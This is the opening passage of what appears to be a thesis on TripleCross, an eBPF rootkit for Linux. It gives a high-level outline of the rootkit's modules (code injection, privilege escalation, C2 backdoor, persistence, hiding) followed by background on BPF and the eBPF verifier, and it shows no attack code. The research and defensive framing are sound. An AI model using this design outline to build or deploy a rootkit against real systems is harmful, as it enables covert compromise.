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SUMMARY

eBPF is a technology introduced in the 3.18 version of the Linux kernel that allows
running code in the kernel without the need of loading a kernel module. Although origi-
nally intended for filtering packets, eBPF programs can be used for network monitoring,
accessing kernel-exclusive resources and tracing activities at the user and kernel space.
This has positioned eBPF as a leading environment for the development of network, se-
curity and observability tools. During the last years, however, eBPF has been found to be
at the heart of the latest innovation on the development of rootkits.

This work identifies the offensive capabilities of eBPF that could be weaponized by
a threat actor. Based on them, we have developed an eBPF-based rootkit that uses these
capabilities to showcase multiple malicious use cases. Our rootkit, named TripleCross,
incorporates (1) a library injection module to execute malicious code by writing at pro-
cesses virtual memory; (2) an execution hijacking module that modifies data passed to the
kernel to execute malicious programs; (3) a local privilege escalation module that allows
for running malicious programs with root privileges; (4) a backdoor with C2 capabilities
that can monitor the network and execute commands sent from a remote rootkit client,
incorporating multiple backdoor triggers so that these actions are transmitted with stealth
in mind; (5) a rootkit client program that allows an attacker to establish 3 different types
of shell-like connections for sending commands and actions that control the rootkit state
remotely; (6) a persistence module that ensures the rootkit remains installed maintaining
full privileges even after a reboot event; and (7) a stealth module that hides rootkit-related
files and directories from the user.

TripleCross demonstrates the existing danger when running eBPF programs, a tech-
nology also available by default in most distributions. It is intended for being used in
pentesting and red teaming exercises.

Keywords: Backdoor; Berkeley Packet Filter; Implant; Command and Control;
Linux kernel; Malware; Computer security
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1. INTRODUCTION

1.1. Motivation

As the efforts of the computer security community grow to protect increasingly critical
devices and networks from malware infections, the techniques used by malicious actors
become more sophisticated. Following the incorporation of ever more capable firewalls,
Endpoint Detection and Response (EDR), and Intrusion Detection Systems (IDS), cy-
bercriminals have in turn sought novel attack vectors and exploits in common software,
taking advantage of an inevitably larger attack surface that keeps growing due to the con-
tinued incorporation of new programs and functionalities into modern computer systems.

In contrast with ransomware incidents, which remained the most significant and com-
mon cyber threat faced by organizations in 2021 [1], a powerful class of malware called
rootkits is found considerably more infrequently, yet it is usually associated to high-profile
targeted attacks that lead to greatly impactful consequences.

A rootkit is a piece of computer software characterized for its advanced stealth capa-
bilities. Once it is installed on a system it remains invisible to the host, usually hiding its
related processes and files from the user, while at the same time performing the malicious
operations for which it was designed. Common operations include storing keystrokes,
sniffing network traffic, exfiltrating sensitive information from the user or the system, or
actively modifying critical data at the infected device. The other characteristic function-
ality is that rootkits seek to achieve persistence on the infected hosts, meaning that they
keep running on the system even after a system reboot, without further user interaction or
the need of a new compromise. The techniques used for achieving both of these capabil-
ities depend on the type of rootkit developed. One of the most commmon classifications
is based on the level of privileges on which the rootkit operates in the system [2]:

• User-mode rootkits run at the same level of privilege as common user applications.
They usually work by hijacking legitimate processes on which they may inject code
by preloading shared libraries, thus modifying the calls issued to user APIs, on
which malicious code is placed by the rootkit. Although easier to build, these rootk-
its are exposed to detection by common anti-malware programs and other simple
system inspection techniques.

• Kernel-mode rootkits run at the same level of privilege as the operating system,
thus enjoying unrestricted access to all system resources. These rootkits usually
come as kernel modules or device drivers and once loaded, they reside in the kernel.
This implies that special attention must be taken to avoid programming errors since
they could potentially corrupt user or kernel memory, resulting in a fatal kernel
panic and a subsequent system reboot, which goes against the original purpose of

1



CHAPTER 1 1.1. MOTIVATION

maintaining stealth.

Common techniques used for the development of their malicious activities include
hooking system calls made to the kernel by user applications (on which malicious
code is then injected) or modifying data structures in the kernel to change the data
of user programs at runtime. Therefore, trusted programs on an infected machine
can no longer be trusted to operate securely.

Kernel-mode rootkits are usually the most attractive (and difficult to build) option
for a malicious actor, but their installation requires a complete previous compro-
mise of the system, meaning that administrator or root privileges must have been
already achieved by the attacker, commonly by the execution of an exploit or a local
installation of a privileged user.

Historically, kernel-mode rootkits have been tightly associated with espionage activ-
ities on governments, research centers, or key industry actors by Advanced Persistent
Threat (APT) groups [2]—state-sponsored or criminal organizations specialized on long-
term operations to gather intelligence and gain unauthorized persistent access to computer
systems. Although rootkits’ functionality is tailored for each specific attack, a common
set of techniques and procedures can be identified being used by these organizations.

During the last years, a new technology called eBPF has been found to be at the heart
of the latest innovation on the development of rootkits. eBPF is a technology incorporated
in the 3.18 version of the Linux kernel [3] that allows running code in the kernel without
the need of loading a kernel module. Programs are created in a restrictive version of the
C language and compiled into eBPF bytecode, which is loaded into the kernel via a new
bpf() system call. After a mandatory step of verification by the kernel in which the code
is checked to be safe to run, the bytecode is compiled into native machine instructions.
These programs can then get access to kernel-exclusive functionalities including network
traffic filtering, system calls hooking or tracing.

Although eBPF has built an outstanding environment for the creation of networking
and tracing tools, its ability to run kernel programs without the need to load a kernel
module has attracted the attention of multiple APT groups. On February 2022, the Chi-
nese security team Pangu Lab reported about a NSA backdoor that remained unnoticed
since 2013. This implant used eBPF for its networking functionality and infected mili-
tary and telecommunications systems worldwide [4]. Also on 2022, PwC reports about a
China-based threat actor that has targeted telecommunications systems with a eBPF-based
backdoor [5].

Current official efforts are focused on porting the eBPF technology to Windows [6]
and Android systems [7], which could spread the mentioned risks to new platforms.
Therefore, we can confidently claim that there is a growing interest in researching the
capabilities of eBPF in the context of offensive security, in particular given its potential
to become a common component for modern rootkits and other offensive tools. This
knowledge would be valuable to the computer security community, both in the context
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of pen-testing and for analysts which need to know about the latest trends in malware to
prepare their defenses.

1.2. Project objectives

The main objective of this project is to investigate and demonstrate the capabilities of
the eBPF technology that could be weaponized by a malicious actor. In particular, we
will focus on functionalities present in the Linux platform, given the maturity of eBPF
on these environments and which therefore offers a wider range of possibilities. We will
be approaching this study from the perspective of a threat actor, meaning that we will
develop an eBPF-based rootkit which shows these capabilities live in a current Linux
system, including proof of concepts (PoC) showing specific features, and also by building
a realistic rootkit system which leverages these PoCs and integrates them into a fully
operational implant.

Before narrowing down our objectives and selecting a specific list of rootkit capabil-
ities to provide using eBPF, we analyze previous research in this area. The work by Jeff
Dileo from NCC Group at DEFCON 27 [8] is particularly relevant, as it discusses for the
first time the ability of eBPF to overwrite userland data, highlighting the possibility of
overwriting the memory of a running process and executing arbitrary code on it. Subse-
quent talks on 2021 by Pat Hogan at DEFCON 29 [9], and by Guillaume Fournier and
Sylvain Afchain from Datadog at DEFCON 29 [10], research deeper on eBPF’s ability to
support rootkit capabilities. In particular, Hogan shows how eBPF can be used to hide the
rootkit’s presence from the user and to modify data at system calls, while Fournier and
Afchain built the first instance of an eBPF-based backdoor with command-and-control
(C2) capabilities, enabling to communicate with the malicious eBPF program by sending
network packets to the compromised machine.

Taking these previous research works into account, and considering the common func-
tionality usually to be incorporated into a rootkit, the objectives of our research on eBPF
are summarized in the following points:

• Analyze eBPF’s possibilities to hook system calls and kernel functions.

• Explore eBPF’s potential to read/write arbitrary memory.

• Research networking capabilities with eBPF packet filters.

The knowledge gathered by the previous three pillars will be then used as a basis for
building our rootkit. We will present attack vectors and techniques different than the ones
presented in previous research, although inevitably we will also tackle common points,
which will be clearly indicated and on which we will try to perform further research. In
essence, our eBPF-based rootkit aims at:
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• Hijacking the execution of user programs while they are running, injecting libraries
and executing malicious code, without impacting their normal execution.

• Featuring a command-and-control module powered by a network backdoor, which
can be operated from a remote client. This backdoor should be controlled with
stealth in mind, featuring similar mechanisms to those present in rootkits found in
the wild.

• Tampering with user data at system calls, resulting in running malware-like pro-
grams and for other malicious purposes.

• Achieving stealth, hiding rootkit-related files from the user.

• Achieving rootkit persistence, the rootkit should run after a complete system reboot.

The rootkit will work in a fresh-install of a Linux system with the following charac-
teristics:

• Distribution: Ubuntu 21.04.

• Kernel version: 5.11.0-49.

1.2.1. Social and economic environment

Our world has a growing dependency on digital systems. From the use of increasingly
complex computer systems and networks in business environments to the thriving industry
of consumer devices, the use these digital systems has shaped today’s society and will
likely continue to do so in the future.

As discussed in our project motivation, this has also implied an increasing relevance
of the cybersecurity industry, particularly as a consequence of a growing number of cyber
incidents. The use of malware and, in particular, ransomware attacks currently stands as
one of the major trends among threat actors, which has impacted both the private and
public sector with infamous attacks. Moreover, during the last decade there has been a
steady influx of targeted high-impact attacks featuring increasingly complex techniques
and attack vectors, which raises the need to stay up to date with the latest discovered
vulnerabilities.

As a response for this growing concern, the computer security community has pro-
posed multiple procedures and frameworks with the aim of minimizing these cyber in-
cidents, setting a series of fundamental pillars on which cyber protection activities on
organizations shall be based. As a summary, these pillars are often defined to revolve
around the following actions [11]:

• Identifying security risks.

4



CHAPTER 1 1.2. PROJECT OBJECTIVES

• Protecting computer systems from the identified security risks.

• Detecting attacks and malicious activity.

• Responding and taking action when a cyber incident is detected.

• Recovering after the cyber incident, reducing the impact of the attack.

Focusing our view on the identification of security risks, we can find the use of adver-
sary simulation exercises, whose purpose is to test the security of a system or network by
emulating the role of a threat actor, thus trying to find vulnerabilities and exploit them in
this controlled environment so that these security flaws can be patched. There exist two
main types of assessments [12]:

• Penetration testing (pentesting) exercises, whose aim is mainly to discover which
known unpatched vulnerabilities are present in the computer system, attempting to
exploit them. These exercises are focused on uncovering as many vulnerabilities as
possible and, therefore, in many ocassions the stealth which a real attacker would
need while performing such process is disregarded.

• Red teaming exercises, whose aim is to uncover vulnerabilities as in pentesting, but
this process is done quietly (with stealth in mind) and using any resource available,
often crafting targeted attacks emulating the procedures which a real threat actor
such as an APT would follow. Therefore, the goal is not to find as many vulnera-
bilities as possible, but rather these exercises take place in already security-audited
environments to be further protected from targeted cyber attacks.

Our efforts to better understand the offensive capabilities offered by eBPF are rele-
vant to both pentesters and red teamers. For the security professionals performing these
exercises, it is essential not only to know about the latest security trends being used by
threat actors, but also to have expertise on the techniques and attack vectors employed
in these cyber attacks. Therefore, a research on last-generation rootkits using eBPF is
useful and relevant for the security community, which will benefit positively from having
an open-source rootkit showcasing the offensive capabilities of the eBPF technology.

Consequently, given the growing importance of eBPF for offensive security, it also
undertakes a positive impact in the area of defensive security. In particular, it presents a
clear example on how eBPF may be weaponized for malicious purposes, thus inspiring
system administrators and other professionals to consider eBPF programs as a possible
attack vector. As we will show during this research work, our rootkit can achieve similar
capabilities compared to classic rootkits based on kernel modules. However, while kernel
modules are usually considered a risk and might be restricted (or its activity, particularly
loading a new one, easy to flag), in many environments eBPF remains as a technology
often available by default and not considered in the security framework of most organiza-
tions. Therefore our project aims to raise awareness on this regard.
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1.3. Regulatory framework

As discussed in Section 1.2.1, this project is tightly related to both cybersecurity in general
and to offensive tools in particular. We will now analyze the most relevant frameworks
that regulate or are related to both activities with the purpose of studying how they can be
applied to the development of our rootkit.

1.3.1. NIST Cybersecurity Framework

In the case of activities related to cybersecurity, multiple standards and frameworks reg-
ulate the best practices and guidelines to follow for managing cyber risks. One of the
most relevant is the Framework for Improving Critical Infrastructure Cybersecurity by
the National Institute of Standards and Technology (NIST) [11]. This is the framework
that regulates the 5 pillars of cyber risk mamagement which we have discussed in Sec-
tion 1.2.1, describing the needs originated by each pillar (in the framework named as
’Categories’) and the actions needed for meeting the requirements of each of these needs
(’Subcategories’). In particular, we can identify the following procedures on each of these
pillars relevant in our context:

• With respect to the ’Identify’ pillar, the framework highlights the need for Asset
Management and Risk Assessment between others:

– Asset Management refers to the identification and management of data, de-
vices and systems, so as to consider their relative importance in the organiza-
tion objectives and cyber risk strategy. This involves inventorizing all software
platforms and applications used in the organization. In our case, maintaining
strict control over the software present on each system reduces the risk of an
infection.

– Risk Assessment refers to the identification of the vulnerabilities of each of
the organization assets, receiving intelligence about cyber threat from external
forums and sources, and identifying the risks, likelihook and impact of an
specific risk. In the case of eBPF, it relates to the identification of devices and
systems supporting this technology and assessing the risk of malicious eBPF
programs using, for instance, this research work as one of the external sources
described in the framework.

• With respect to the ’Protect’ pillar, it describes the need for Identify Management,
Authentication and Access Control, together with the use of Protective Technolo-
gies, between others:

– With respect to Identify Management, Authentication and Access Control, the
framework describes the need to use the principle of least privilege and man-
agement of access permissions, that is, assigning the least permissions possi-
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ble to each system component. In the case of our rootkit, this is particularly
relevant given that it needs to be executed as root or by an user with specific
capabilities, as we will explain in Section 2.5.

– Protective Techniques are solutions with the aim of managing the security of
systems and organization assets. In this category we can find the storage of
log records about activity on the system, and the protection of communication
in the organization network. In the case of our rootkit, maintaining logs and
non-plaintext connection means the rootkit shall increase its complexity and
invest some resources into stealth functionalities.

• With respect to the ’Detection’ pillar, the framework describes the need for an
Anomalies and Events policy and Security Continuous Monitoring, between oth-
ers.

– An Anomalies and Events policy relates to detecting and analysing the risk
of suspicious events in the network and at systems. This includes gathering
information about each of the events in the system using multiple sensors,
analysing the data and the origin of each, and analysing the impact of them.
In the context of our rootkit, a proper management of system events could
disclose the rootkit activities (e.g.: when it is loaded or when it executes user
process) although this can be mitigated by the use of stealth techniques.

– Security Continuous Monitoring relates to the monitoring of information sys-
tems and organization assets with the purpose of identifying cybersecurity-
related events. Some actions described in this regard by the framework in-
clude monitoring the network for events, scanning programs for malicious
code, and implementing monitoring policies for detecting unauthorized soft-
ware and network connections. In our case, these all belong to recommended
steps an organization shall take to prevent and early detect an infection by a
rootkit (and therefore the rootkit will attempt to circumvent these actions by
means of stealth techniques).

• With respect to the ’Respond’ pillar, the framework describes the need for Analysis,
between others:

– Analysis refers to conducting response processes after the detection of a cy-
ber attack, analysing the causes to support recovery activities. This includes
analysing the events gathered in log traces and other sensors, performing a
forensic investigation on the cyber attack. In our case, an organization in-
fected by an eBPF rootktit needs to analyse the source of the compromise and
analyse its functioning so as to know the extent of the infection.

• Finally, with respect to the ’Recover’ pillar the NIST framework shows the need for
Recovery Planning and Improvements policies between others:
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– Recovery Planning relates to the process of restoring the original state of sys-
tems and assets impacted by a cyber incident. In the case of our rootkit, pre-
vious conduced analysis should unveil the rootkit persistence capabilities, so
that in this step these are nullified and the eBPF programs belonging to the
rootkit are unloaded.

– Improvements relates to the need to incorporate the new knowledge and lea-
sons learned after the cyber incident into existing organization policies. In the
case of an organization infected by an eBPF rootkit, it would proceed to adopt
protective measures for mitigating a similar attack, such as blocking its use.

1.3.2. MITRE ATT&CK

MITRE Adversarial Tactics, Techniques, and Common Knowledge (MITRE ATT&CK)
is a framework collecting knowledge about adversarial techniques, that is, techniques,
methodologies and offensive actions followed by threat actors that can be used against
computer systems. This is an useful framework for red teaming or pentesting activities
performing adversary emulation exercises, since it details adversary behaviours and the
techniques being used, which can help to build multiple attack scenarios. Moreover, it
is also relevant for professionals in charge of defending a system, since they can prepare
and design mitigations for the techniques described in the framework [13] [14].

A relevant aspect of the MITRE ATT&CK framework is the MITRE ATT&CK Ma-
trix, which contains all the adversarial techniques organized as ’tactics’. These tactics
are the objective of the adversary, which it aims to achieve by using each correspond-
ing technique. Therefore, the MITRE ATT&CK Matrix shows a list of columns, where
each column is one tactic (one adversary objective), and each row on that column shows
the techniques associated to that tactic, explaining how that objective can be achieved.
Additionally, different matrices exist depending on the platform. In this project, we will
consider the Linux Matrix [15].

Using the Linux MITRE ATT&CK matrix, red teamers and pentesters can evaluate the
techniques incorporated in our rootkit according to the tactics described in the framework.
These tactics range from an initial access step (which usually preceeds the adversary
attack) to the description of the impact that the attack has on the normal functioning of
the system. In summary, these tactics are the following:

• Initial access, comprising techniques to gain a foothold in the system or network,
such as spear-phising attacks, with which the adversary may obtain credentials that
can be used to achieve access to a machine.

• Execution, comprising techniques used to execute code in the target system. This
includes exploiting vulnerabilities that lead to Remote Code Execution (RCE).

• Persistence, comprising techniques that enable the adversary to maintain access at
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the system after the initial foothold, independently on the actions performed by the
target machine (which may reboot or change passwords). One of these techniques
is using scheduled jobs (such as Cron, which will be used in our rootkit).

• Privelege escalation, consisting on techniques used to achieve privileged access in
a machine from an original unprivileged access position. This includes techniques
that abuse the elevation control mechanisms of a system, such as sudo, which will
be used in our rootkit.

• Defense evasion, comprising techniques to avoid detection after a machine infec-
tion. This includes hiding processes, files and directories, or network connections
related to the adversary activities.

• Credential access, comprising techniques to steal passwords and other credentials
from the system. An example of such a technique is sniffing the network for cre-
dentials transmitted in plaintext.

• Discovery, comprising techniques used by the adversary to gather knowledge about
the target system and the available actions it may engage with (once it has access to
the system, e.g. execution of commands). This includes techniques such as listing
running processes or scanning the network.

• Lateral movement, comprising techniques allowing for pivoting through systems
from the internal network after having compromised the original target machine.
An example of a technique acomplishing this is the exploitation of vulnerabilities
that can only be exploited from the local network.

• Collection, comprising techniques to gather critical information in the compro-
mised system, with the purpose of, often, leaking them. In contrast to the discovery
tactic, collection techniques do not search for possible targets in the compromised
system, but rather use this knowledge to locate key data and exfiltrate it.

• Command and control, comprising techniques that enable an attacker to commu-
nicate with the compromised machine, usually issuing commands and actions to be
executed by it. Since network traffic belonging to the adversary activities should re-
main hidden, techniques belonging to this category include encoding or obfuscating
data so that they can be transmitted secretly.

• Exfiltration, containing the techniques used for exfiltrating the data collected dur-
ing the Collection step, transmitting this data outside of the compromised network.
The use of C2 encrypted channels is a recurrent technique. Our rootkit will use this
and other communication means for sending data from the infected to the attacker
machine.
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• Impact, comprising techniques used by the adversary to manipulate or destroy data,
and to disrupt the normal services at the compromised machine. A common tech-
nique belonging to this tactic is the modification of system files, which we will use
to implement multiple of the rootkit functionalities.

1.3.3. Software licenses

Finally, it must be noted that this project uses the libbpf library [16], as described in
Section 2.4.3, for the development of our eBPF rootkit. This library is licensed under
dual BSD 2-clause license and GNU LGPL v2.1 license.

1.4. Structure of the document

This section details the structure of this document and the contents of each chapter with
the aim of offering a summarized view and improving its readibility.

Chapter 1: Introduction describes the motivation behind the project and the pur-
poses it aims to achieve, presenting the functionalities expected to be implemented in our
rootkit. It also discusses the regulatory frameworks and the environmental issues related
to the development of the research work.

Chapter 2: Background presents all the concepts needed for the later discussion of
offensive capabilities. It includes an in-depth description of the eBPF system, a brief dis-
cussion of its security features and multiple alternatives for developing eBPF programs. It
also discusses networking concepts and an offers an overview on the memory architecture
at Linux systems, showing basic attacks and techniques that are the basis of those later
incorporated to the rootkit.

Chapter 3: Analysis of offensive capabilities of eBPF discusses the possible capa-
bilities of a malicious eBPF program, describing which features of the eBPF system could
be weaponized and used for offensive purposes.

Chapter 4: Design of a malicious eBPF rootkit describes the architecture of the
rootkit we have developed, offering a comprehensive view of the different techniques and
attacks designed and implemented on each of the rootkit modules and components.

Chapter 5: Evaluation analyses whether the rootkit developed meets the expected
functionality proposed in the project objectives by testing the rootkit capabilities in a
simulated testing environment. We will prepare a virtualized network consisting of two
connected machines, where one is the infected host and the other belongs to the attacker,
proceeding to test every rootkit functionality.

Chapter 6: Related work includes a comprehensive review of previous work on
UNIX/Linux rootkits, their main types and most relevant examples. We also offer a com-
parison in terms of techniques and functionality with previous families. In particular, we
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highlight the differences of our eBPF rootkit with respect to others that rely on traditional
methods, and also to those already built using eBPF.

Chapter 7: Budget describes the costs associated to the development of this project,
including personnel, hardware and software related costs.

Chapter 8: Conclusions and future work revisits the project objectives, discusses
the work presented in this document, and describes possible future research lines.

1.5. Code availability

All the source code belonging to the rootkit development can be visited publicly at the
GitHub repository https://github.com/h3xduck/TripleCross [17]. The most im-
portant folders and files of this repository are described in Table 1.1.

DIRECTORY DESCRIPTION
src/client Source code of rootkit client.

src/client/lib RawTCP_Lib shared library.
src/common Constants and configuration for the rootkit. It also includes

the implementation of elements common to the eBPF and
user space side of the rootkit, such as the ring buffer.

src/ebpf Source code of the eBPF programs used by the rootkit.
src/helpers Includes programs for testing rootkit modules

functionality, and the malicious program and library used
at the execution hijacking and library injection modules

respectively.
src/libbpf Contains the libbpf library, integrated with the rootkit.
src/user Source code of the user land programs used by the rootkits.

src/vmlinux Headers containing the definition of kernel data structures
(this is the recommended method when using libbpf).

Table 1.1. Relevant directories at TripleCross repository.

Additionally, the source code of the RawTCP_Lib library can be visited publicly at its
own GitHub directory https://github.com/h3xduck/RawTCP_Lib [18].
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2. BACKGROUND

This chapter introduces all the background needed for our research into offensive
eBPF applications. Although our rootkit has been developed using a library that will
provide us with a layer of abstraction over the underlying operations, this background is
needed to understand how eBPF is embedded in the kernel and which capabilities and
limits we can expect to achieve with it.

Firstly, we will analyse the origins of the eBPF technology, understanding what it is
and how it works, and discuss the reasons why it is a necessary component of the Linux
kernel today. Afterwards, we will cover the main features of eBPF in detail and discuss
the security features incorporated in the system, together with an study of the currently
existing alternatives for developing eBPF applications.

Finally, we will offer an overview into multiple aspects of the Linux system (memory,
networking and executable files), which will be critical during the design of the offensive
techniques incorporated in our rootkit.

2.1. BPF

In this section we will detail the origins of eBPF in the Linux kernel. By offering us
background into the earlier versions of the system, the goal is to acquire insight on the
design decisions included in modern versions of eBPF.

2.1.1. Introduction to the BPF system

Nowadays eBPF is not officially considered to be an acronym anymore [19], but it re-
mains largely known as "extended Berkeley Packet Filters", given its roots in the Berkeley
Packet Filter (BPF) technology, now known as classic BPF.

BPF was introduced in 1992 by Steven McCanne and Van Jacobson in the paper "The
BSD Packet Filter: A New Architecture for User-level Packet Capture" [20], as a new
filtering technology for network packets in the BSD platform. It was first integrated in the
Linux kernel on version 2.1.75 [21].

Figure 2.1 shows how BPF was integrated in the existing network packet processing
by the kernel. After receiving a packet via the Network Interface Controller (NIC) driver,
it would first be analysed by BPF filters, which are programs directly developed by the
user. This filter decides whether the packet is to be accepted by analysing the packet
properties, such as its length or the type and values of its headers. If a packet is accepted,
the filter proceeds to decide how many bytes of the original buffer are passed to the appli-
cation at the user space. Otherwise, the packet is redirected to the original network stack,
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Fig. 2.1. Functionality of classic BPF. Based on the figure at the original paper [22].

where it is managed as usual.

2.1.2. The BPF virtual machine

In a technical level, BPF comprises both the BPF filter programs developed by the user
and the BPF module included in the kernel which allows for loading and running the BPF
filters. This BPF module in the kernel works as a virtual machine [23], meaning that it
parses and interprets the filter program by providing simulated components needed for
its execution, turning into a software-based CPU. Because of this reason, it is usually
referred as the BPF Virtual Machine (BPF VM). The BPF VM comprises the following
components:

• An accumulator register, used to store intermediate values of operations.

• An index register, used to modify operand addresses, it is usually incorporated to
optimize vector operations [24].

• A scratch memory store, a temporary storage.

• A program counter, used to point to the next machine instruction to execute in a
filter program.

2.1.3. Analysis of a BPF filter program

As we mentioned in Section 2.1.2, the components of the BPF VM are used to support
running BPF filter programs. A BPF filter is implemented as a boolean function:
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• If it returns true, the kernel copies the packet to the application.

• If it returns false, the packet is not accepted by the filter (and thus the network stack
will be the next to operate it).

Figure 2.2 shows an example of a BPF filter upon receiving a packet. In the figure,
green lines indicate that the condition is true and red lines that it is evaluated as false.
Therefore, the execution works as a control flow graph (CFG) which ends on a boolean
value [25]. The figure presents an example BPF program which accepts the following
frames:

• Frames with an IP packet as a payload directed from IP address X.

• Frames with an IP packet as a payload directed towards IP address Y.

• Frames belonging to the ARP protocol and from IP address Y.

• Frames not from the ARP protocol directed from IP address Y to IP address X.

Fig. 2.2. Execution of a BPF filter.

2.1.4. BPF bytecode instruction format

In order to implement the CFG to be run at the BPF VM, BPF filter programs are made
up of BPF bytecode, which is defined by a new BPF instruction set. Therefore, a BPF
filter program is an array of BPF bytecode instructions [26].

Table 2.1 shows the format of a BPF bytecode instruction. As it can be observed, it is
a fixed-length 64-bit instruction composed of:
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OPCODE JT JF K
BITS 16 8 8 32

Table 2.1. BPF instruction format.

• An opcode, similar to assembly opcode, it indicates the operation to be executed.

• Field jt indicates the offset to the next instruction to jump in case a condition is
evaluated as true.

• Field jf indicates the offset to the next instruction to jump in case a condition is
evaluated as false.

• Field k is miscellaneous and its contents vary depending on the instruction opcode.

Figure 2.3 shows how BPF instructions are defined according to the BPF instruction
set. As we mentioned, similarly to assembly, instructions include an opcode which indi-
cates the operation to execute, and the multiple arguments defining the arguments of the
operation. The table shows, in order by rows, the following instruction types [27]:

• Rows 1-4 are load instructions, copying the addressed value into the index or
accumulator register.

• Rows 4-6 are store instructions, copying the accumulator or index register into the
scratch memory store.

• Rows 7-11 are jump instructions, changing the program counter register. These
are usually present on each node of the CFG and evaluate whether the condition to
be evaluated is true or not.

• Rows 12-19 and 21-22 are arithmetic and miscellaneous instructions, performing
operations usually needed during the program execution.

• Row 20 is a return instruction, it is positioned in the final end of the CFG, and
indicate whether the filter accepts the packet (returning true) or otherwise rejects it
(return false).

The column addr modes in Figure 2.3 describes how the parameters of a BPF instruc-
tion are referenced depending on the opcode. The address modes are detailed in Figure
2.4. As it can be observed, parameters may consist of immediate values, offsets to mem-
ory positions or on the packet, the index register or combinations of the previous.

2.1.5. An example of BPF filter with tcpdump

At the time, by filtering packets before they are handled by the kernel instead of using
a user-level application, BPF offered a performance improvement between 10 and 150
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Fig. 2.3. Supported classic BPF instructions, as shown by McCanne and Jacobson [28]

Fig. 2.4. BPF address modes, as shown by McCanne and Jacobson [27]
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times the state-of-the art technologies of the moment [23]. Since then, multiple popular
tools began to use BPF, such as the network tracing tool tcpdump [29].

tcpdump is a command-line tool that enables to capture and analyse the network traffic
going through the system. It works by setting filters on a network interface, so that it
shows the packets that are accepted by the filter. Still today, tcpdump uses BPF for the
filter implementation. Figure 2.5 shows an example of BPF code used by tcpdump to
implement a simple filter.

Fig. 2.5. BPF bytecode tcpdump needs to set a filter to display packets directed to port 80.

In Figure 2.5 we can see how tcpdump sets a filter to display traffic directed to all
interfaces (-i any) directed to port 80. Flag -d instructs tcpdump to display BPF bytecode.

In the example, using the jf and jt fields, we can label the nodes of the CFG described
by the BPF filter. Figure 2.6 describes the shortest graph path that a true comparison will
need to follow to be accepted by the filter. Note how instruction 010 is checking the value
80, the one our filter is looking for in the port.

2.2. Modern eBPF

This section discusses the current state of eBPF in the Linux kernel. By building on the
previous architecture described in classic BPF, we will be able to provide a comprehensive
picture of the underlying infrastructure in which eBPF relies today.

The addition of classic BPF in the Linux kernel set the foundations of eBPF, but
nowadays it has already extended its presence to many other components other than traffic
filtering. Similarly to how BPF filters were included in the networking module of the
Linux kernel, we will now study the necessary changes made in the kernel to support
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Fig. 2.6. Shortest path in the CFG described in the code shown in Figure 2.5 that a packet needs
to follow to be accepted by the BPF filter.

these new program types. Table 2.2 shows the main updates that were incorporated and
shaped modern eBPF of today.

DESCRIPTION KERNEL VERSION YEAR
BPF: First addition in the kernel 2.1.75 1997

BPF+: New JIT assembler 3.0 2011
eBPF: Added eBPF support 3.15 2014

New bpf() syscall 3.18 2014
Introduction of eBPF maps 3.19 2015
eBPF attached to kprobes 4.1 2015

Introduction of Traffic Control 4.5 2016
eBPF attached to tracepoints 4.7 2016

Introduction of XDP 4.8 2016

Table 2.2. Relevant eBPF updates. Selection of the official complete
table at [30].

As it can be observed in the table above, the main breakthrough happened in the 3.15
version, where Alexei Starovoitov, along with Daniel Borkmann, decided to expand the
capabilities of BPF by remodelling the BPF instruction set and overall architecture [31].

Figure 2.7 offers an overview of the current eBPF architecture. During the subsequent
subsections, we will proceed to explain its components in detail.
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Fig. 2.7. eBPF architecture in the Linux kernel and the process of loading an eBPF program.
Based on [31] and [32].

2.2.1. eBPF instruction set

The eBPF update included a complete remodel of the instruction set architecture (ISA) of
the BPF VM. Therefore, eBPF programs will need to follow the new architecture in order
to be interpreted as valid and executed.

Table 2.3 shows the new instruction format for eBPF programs [33]. As it can be
observed, it is a fixed-length 64-bit instruction. The new fields are similar to x86_64
assembly, incorporating the typically found immediate and offset fields, and source and
destination registers [34]. Similarly, the instruction set is extended to be similar to the
one typically found on x86_64 systems, the complete list can be consulted in the official
documentation [33].

IMM OFF SRC DST OPCODE
BITS 32 16 4 4 8

Table 2.3. eBPF instruction format.

With respect to the BPF VM registers, they get extended from 32 to 64 bits of length,
and the number of registers is incremented to 10, instead of the original accumulator and
index registers. These registers are also adapted to be similar to those in assembly, as it is
shown in Table 2.4.
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eBPF
REGISTER

x86_64
REGISTER

PURPOSE

r0 rax Return value from functions and exit
value of eBPF programs

r1 rdi Function call argument 1
r2 rsi Function call argument 2
r3 rdx Function call argument 3
r4 rcx Function call argument 4
r5 r8 Function call argument 5
r6 rbx Callee saved register, value preserved

between calls
r7 r13 Callee saved register, value preserved

between calls
r8 r14 Callee saved register, value preserved

between calls
r9 r15 Callee saved register, value preserved

between calls
r10 rbp Frame pointer for stack, read only

Table 2.4. eBPF registers and their purpose in the BPF VM. [33] [35].

2.2.2. JIT compilation

We mentioned in Section 2.2.1 that eBPF registers and instructions describe an almost
one-to-one correspondence to those in x86 assembly. This is in fact not a coincidence,
but rather it is with the purpose of improving a functionality that was included in Linux
kernel 3.0, called Just-in-Time (JIT) compilation [36] [37].

JIT compiling is an extra step that optimizes the execution speed of eBPF programs.
It consists of translating BPF bytecode into machine-specific instructions, so that they run
as fast as native code in the kernel. Machine instructions are generated during runtime,
written directly into executable memory and executed there [38].

Therefore, when using JIT compiling (a setting defined by the variable bpf_jit_enable
[39], BPF registers are translated into machine-specific registers following their one-to-
one mapping and bytecode instructions are translated into machine-specific instructions
[40]. There no longer exists an interpretation step by the BPF VM, since we can execute
the code directly [41].

The programs developed during this project will always have JIT compiling active.
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2.2.3. The eBPF verifier

We introduced in Figure 2.7 the presence of the so-called eBPF verifier. Provided that
we will be loading programs in the kernel from user space, these programs need to be
checked for safety before being valid to be executed.

The verifier performs a series of tests which every eBPF program must pass in order
to be accepted. Otherwise, user programs could leak privileged data, result in kernel
memory corruption, or hang the kernel in an infinite loop, between others. Therefore,
the verifier limits multiple aspects of eBPF programs so that they are restricted to the
intended functionality, whilst at the same time offering a reasonable amount of freedom
to the developer.

The following are the most relevant checks that the verifier performs in eBPF pro-
grams [42] [43]:

• Tests for ensuring overall control flow safety:

No loops allowed (bounded loops accepted since kernel version 5.3 [44].

Function call and jumps safety to known, reachable functions.

Sleep and blocking operations not allowed (to prevent hanging the kernel).

• Tests for individual instructions:

Divisions by zero and invalid shift operations.

Invalid stack access and invalid out-of-bound access to data structures.

Reads from uninitialized registers and corruption of pointers.

These checks are performed by two main algorithms:

• Build a graph representing the eBPF instructions (similar to the one shown in Sec-
tion 2.1.3. Check that it is in fact a direct acyclic graph (DAG), meaning that the
verifier prevents loops and unreachable instructions.

• Simulate execution flow by starting on the first instruction and following each pos-
